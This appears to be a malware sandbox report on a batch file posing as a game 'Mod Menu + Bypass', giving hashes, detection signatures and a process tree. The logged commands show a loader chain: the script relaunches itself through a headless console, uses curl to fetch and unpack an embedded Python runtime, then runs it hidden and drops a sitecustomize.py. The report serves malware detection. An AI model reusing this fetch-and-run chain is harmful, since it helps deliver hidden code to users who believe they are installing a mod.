7861d660a6f9f6e7457754929fa31d7efe7cdd50313394e717303ac1fa5d4687

Analysis

user interaction
yes
max time kernel
30s
max time network
32s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/10/2026, 16:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Mod Menu + Bypass.bat
Size 88KB
Sample261009-tyrc9azzev
SHA256 7861d660a6f9f6e7457754929fa31d7efe7cdd50313394e717303ac1fa5d4687
MD5 f9203c80cf930684c81ffa166a075696
SHA1 6fec792791b0ff157ff184e85597675b5030ed11
SHA512 15271e657c02c9f39f7ac240b7711c7b8107e66f83202f1af33a5719c5d242322897c5b38b39af619c4d63f1d416e136e5c0886dd7d3b6ac38e414898e35a6af
SSDEEP 1536:MHeOCNCIO3e9RGIvK6o+sU9B2uzuhYHFKLiUPN1vMuJG9:M+OCNCL3OoDMheiUPN1vMug9
TLSH
T173935B325D07AE4A6BB82B654ECF39D82E4FD3CB236484DE741650FD727C09299DC2A4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

execution

Malware Config

Signatures

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2812	cmd.exe
1512	cmd.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1512 wrote to memory of 3300	1512	cmd.exe	86
PID 3300 wrote to memory of 2812	3300	conhost.exe	87
PID 2812 wrote to memory of 1628	2812	cmd.exe	88
PID 2812 wrote to memory of 3288	2812	cmd.exe	89
PID 2812 wrote to memory of 1516	2812	cmd.exe	90
PID 2812 wrote to memory of 2108	2812	cmd.exe	91
PID 2812 wrote to memory of 5044	2812	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mod Menu + Bypass.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Windows\system32\conhost.exe
  conhost --headless "C:\Users\Admin\AppData\Local\Temp\Mod Menu + Bypass.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Mod Menu + Bypass.bat""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\System32\curl.exe
      C:\Windows\System32\curl.exe -s -L --retry 4 --retry-all-errors --retry-delay 2 --connect-timeout 15 -o "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\python.zip" "https://www.python.org/ftp/python/3.13.15/python-3.13.15-embed-amd64.zip"
      4⤵
      PID:1628
  - - C:\Windows\System32\tar.exe
      C:\Windows\System32\tar.exe -xf "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\python.zip" -C "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3"
      4⤵
      PID:3288
  - - C:\Windows\System32\curl.exe
      C:\Windows\System32\curl.exe -s -L --retry 4 --retry-all-errors --retry-delay 2 --connect-timeout 15 -o "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\python.zip" "https://www.python.org/ftp/python/3.13.15/python-3.13.15-embed-amd64.zip"
      4⤵
      PID:1516
  - - C:\Windows\System32\tar.exe
      C:\Windows\System32\tar.exe -xf "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\python.zip" -C "C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3"
      4⤵
      PID:2108
  - - C:\Windows\system32\conhost.exe
      conhost --headless C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\python.exe
      4⤵
      PID:5044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sitecustomize.py

Path C:\Users\Admin\AppData\Local\Programs\Python3_FIxBjhz3\sitecustomize.py
Size 5KB
SHA256 1de7602219c2bb0e920403ced3bf801297f99f2ff6d959907526900b4421a1c8
MD5 4f285d287a9b41ebda81f6544bc5566e
SHA1 c2a21c74d0c5f6f4b35c894df9e0f3715047ca6c
SHA512 b0428810e72188e247811028326031f31aff03be64341b99349b4d2c5b23a3471c0aa30c5f0feae366c64e0e3605cc5c900f9df0585205582e0f185fbe3a1926
SSDEEP 96:ashhLCjipEIQXxbs8qzb5cvVq0tdiD/DmDy+QujdQLBU8uL+wLHLBq6rPCpl/iV1:NLqipEnBbuz+vVq0tK7gy+QuhQLB3uLN
TLSH
T1AAB18460B0562E4BDBF01B354FBC28EF389F89A370441C8AB92566994EE5064276F5E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download